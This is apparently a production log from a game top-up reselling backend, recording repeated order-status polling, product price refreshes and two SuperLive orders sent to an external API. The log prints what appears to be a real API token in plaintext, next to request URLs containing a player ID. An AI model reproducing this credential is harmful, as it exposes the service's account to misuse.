[2026-03-24 02:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"S9x0pAVhTnXcpFDiJLH98AljhLlPQwFa","execution_time":"2026-03-24 02:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:54:14] production.INFO: Constructing job for order: 178519  
[2026-03-24 02:54:17] production.INFO: Handling job for order: 178519  
[2026-03-24 02:54:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 02:54:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 02:54:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=3ab92859-4223-44e7-ace0-0aed6066dd4e&Player_ID=54745782  
[2026-03-24 02:54:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=3ab92859-4223-44e7-ace0-0aed6066dd4e&Player_ID=54745782","has_body":false} 
[2026-03-24 02:54:17] production.INFO: Operation sent successfully {"operation_id":163451,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ygxuC8g-1774310057","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive","notes":[],"created_at":"2026-03-24 02:54:17"}},"processed_data":{"order_number":"ORD-ygxuC8g-1774310057","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive"}} 
[2026-03-24 02:54:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ygxuC8g-1774310057","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 02:54:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-ygxuC8g-1774310057","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 02:54:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 02:54:23] production.INFO: SendAcceptReject: Notification queued {"user_id":754,"notification_type":"order_approved","reference_id":178519} 
[2026-03-24 02:54:23] production.INFO: Order updated successfully. Order ID: 178519, Status: completed  
[2026-03-24 02:54:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ygxuC8g-1774310057","status":"completed","codes_count":0} 
[2026-03-24 02:54:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 754  
[2026-03-24 02:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:55:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:55:04] production.INFO: async() رجع: true  
[2026-03-24 02:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:55:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:55:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:56:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03"} 
[2026-03-24 02:56:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:56:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:56:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:56:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:56:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:56:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:56:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:56:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"E8mFaSzRYpsA8F7RDizDLN6TEGksqfHs","execution_time":"2026-03-24 02:56:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03"} 
[2026-03-24 02:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KM6gB7i2wSc3q3ps3FkTDW09DmBtNntF","execution_time":"2026-03-24 02:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:00:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02"} 
[2026-03-24 03:00:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:00:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:00:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:00:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:00:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:00:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:00:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:00:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"k4Md8iY4iOOpFjzYsDIu885Fb0HawPRs","execution_time":"2026-03-24 03:00:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:00:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:00:02] production.INFO: Executing GetProducts task...  
[2026-03-24 03:00:04] production.INFO: async() رجع: true  
[2026-03-24 03:00:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:00:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02"} 
[2026-03-24 03:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","total_operations":4,"sites_count":1} 
[2026-03-24 03:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Vr4WYc94xSU8mvKrztEuG6HafBos2itb","execution_time":"2026-03-24 03:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03"} 
[2026-03-24 03:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:04:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"b92EhV133MIeKiGLhrQJayjdCu4vzJvY","execution_time":"2026-03-24 03:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:05:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 03:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 03:05:05] production.INFO: async() رجع: true  
[2026-03-24 03:05:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 03:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 03:05:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 03:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 03:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03"} 
[2026-03-24 03:06:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","total_operations":4,"sites_count":1} 
[2026-03-24 03:06:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 03:06:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 03:06:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 03:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 03:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 03:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 03:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:06:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 03:06:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 03:06:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0nz5nfH5r6p4WTrkPDsNm6U6wFZcrLsF","execution_time":"2026-03-24 03:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 03:07:37] production.INFO: Constructing job for order: 178520  
[2026-03-24 03:07:40] production.INFO: Handling job for order: 178520  
[2026-03-24 03:07:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 03:07:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 03:07:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=6ac789bf-9e86-4758-92fa-258eb8398169&Player_ID=54745782  
[2026-03-24 03:07:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/597/params?qty=200&uuid=6ac789bf-9e86-4758-92fa-258eb8398169&Player_ID=54745782","has_body":false} 
[2026-03-24 03:07:41] production.INFO: Operation sent successfully {"operation_id":163452,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lMz-1774310860","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive","notes":[],"created_at":"2026-03-24 03:07:41"}},"processed_data":{"order_number":"ORD-lMz-1774310860","amount":1.2796999999999998376409848788171075284481048583984375,"status":"processing","product":"SuperLive Amount","game":"SuperLive"}} 
